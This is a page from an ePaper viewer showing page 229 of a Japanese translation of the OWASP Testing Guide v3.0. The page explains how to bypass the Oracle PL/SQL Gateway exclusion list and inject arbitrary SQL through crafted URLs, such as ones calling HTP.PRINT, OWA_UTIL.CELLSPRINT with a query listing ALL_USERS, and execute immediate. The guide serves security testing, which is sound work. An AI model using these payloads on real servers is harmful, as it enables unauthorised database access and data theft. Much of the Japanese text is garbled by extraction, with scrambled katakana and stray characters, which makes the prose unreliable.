11.05.2014 Views

OWASP テスティングガイド

OWASP テスティングガイド

OWASP テスティングガイド

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

<strong>OWASP</strong> Testing Guide v3.0<br />

これは、ウョールギにウョーを 生 成 します8“PLS-00103: Encountered the symbol ‘POINT’ when expecting one of the<br />

following. . .” ここに 任 意 の SQL を 注 入 する 手 段 があります。これで 除 外 ヨシトを 迂 回 できる 可 能 性 があります。 最 初 に 攻 撃<br />

者 は、パョミーソを 持 たず、 除 外 ヨシトに 一 致 しない PL/SQL プルサーザメを 見 つける 必 要 があります。この 条 件 に 一 致 する<br />

デフェラトのパックーザはたくさんあり、 例 えば8<br />

JAVA_AUTONOMOUS_TRANSACTION.PUSH<br />

XMLGEN.USELOWERCASETAGNAMES<br />

PORTAL.WWV_HTP.CENTERCLOSE<br />

ORASSO.HOME<br />

WWC_VERSION.GET_HTTP_DATABASE_INFO<br />

これらから 実 際 に 存 在 するもの(すなわわち、ヨキウシトに 200 OK を 返 すもの'を 一 つ 選遥 択 し、 攻 撃 者 がヨキウシトすると8<br />

http://server.example.com/pls/dad/orasso.home?FOO=BAR<br />

コーバは、「404 File Not Found」の 応 答 を 返 します。 何 故 なら、orasso.home プルサーザメは 与 えられているパョミーソを 必<br />

要 としないからです。しかし、404 を 返 す 前 に 以 下 の PL/SQL を 実 行 します8<br />

..<br />

..<br />

if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then<br />

rc__ := 2;<br />

else<br />

null;<br />

orasso.wpg_session.init();<br />

orasso.home(FOO=>:FOO);<br />

..<br />

..<br />

FOO が 攻 撃 者 のキウヨ 文 字 に 中 に 存 在 します。これを 任 意 の SQL を 実 行 するために 悪 用 します。 最 初 に 括 弧 を 閉 じる 必 要<br />

があります8<br />

http://server.example.com/pls/dad/orasso.home?);--=BAR<br />

この 結 果 は、 以 下 のような PL/SQL を 実 行 します8<br />

..<br />

orasso.home();--=>:);--);<br />

..<br />

2 つのボイナシ(--' 以 降 のすべてのものはケミヱトとして 扱 わわれます。このヨキウシトは、バイヱド 変 数 の 一 つが 使 わわれていな<br />

いため、 内 部邪 コーバウョーを 引 き 起 こします。ゆえに 攻 撃 者 はそれを 加 えてやる 必 要 があります。 任 意 の PL/SQL を 実 行 さ<br />

せるための 鍵 となるのがこのバイヱド 変 数 です。ここでは、HTP.PRINT を BAR をプヨヱトするために 使 います。そして、 必 要 と<br />

なるバイヱド 変 数 は「:1」です8<br />

http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR<br />

これは、「BAR」という 単 語 の HTML を 200 で 返 すでしょう。イケーラ 記 号 の 後 のすべてで 何 が 起 こっているでしょう - ここでは<br />

BAR です - バイヱド 変 数 にデーソが 挿 入 されます。 同 じ 方 法 を 使 って、owa_util.cellsprint にも 同 じようにアキスシすることが<br />

できます8<br />

http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--<br />

=SELECT+USERNAME+FROM+ALL_USERS<br />

任 意 の SQL を 実 行 するために DML と DDL 文 を 使 い、 攻 撃 者 は、「execute immediate :1」を 挿 入 します8<br />

229

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!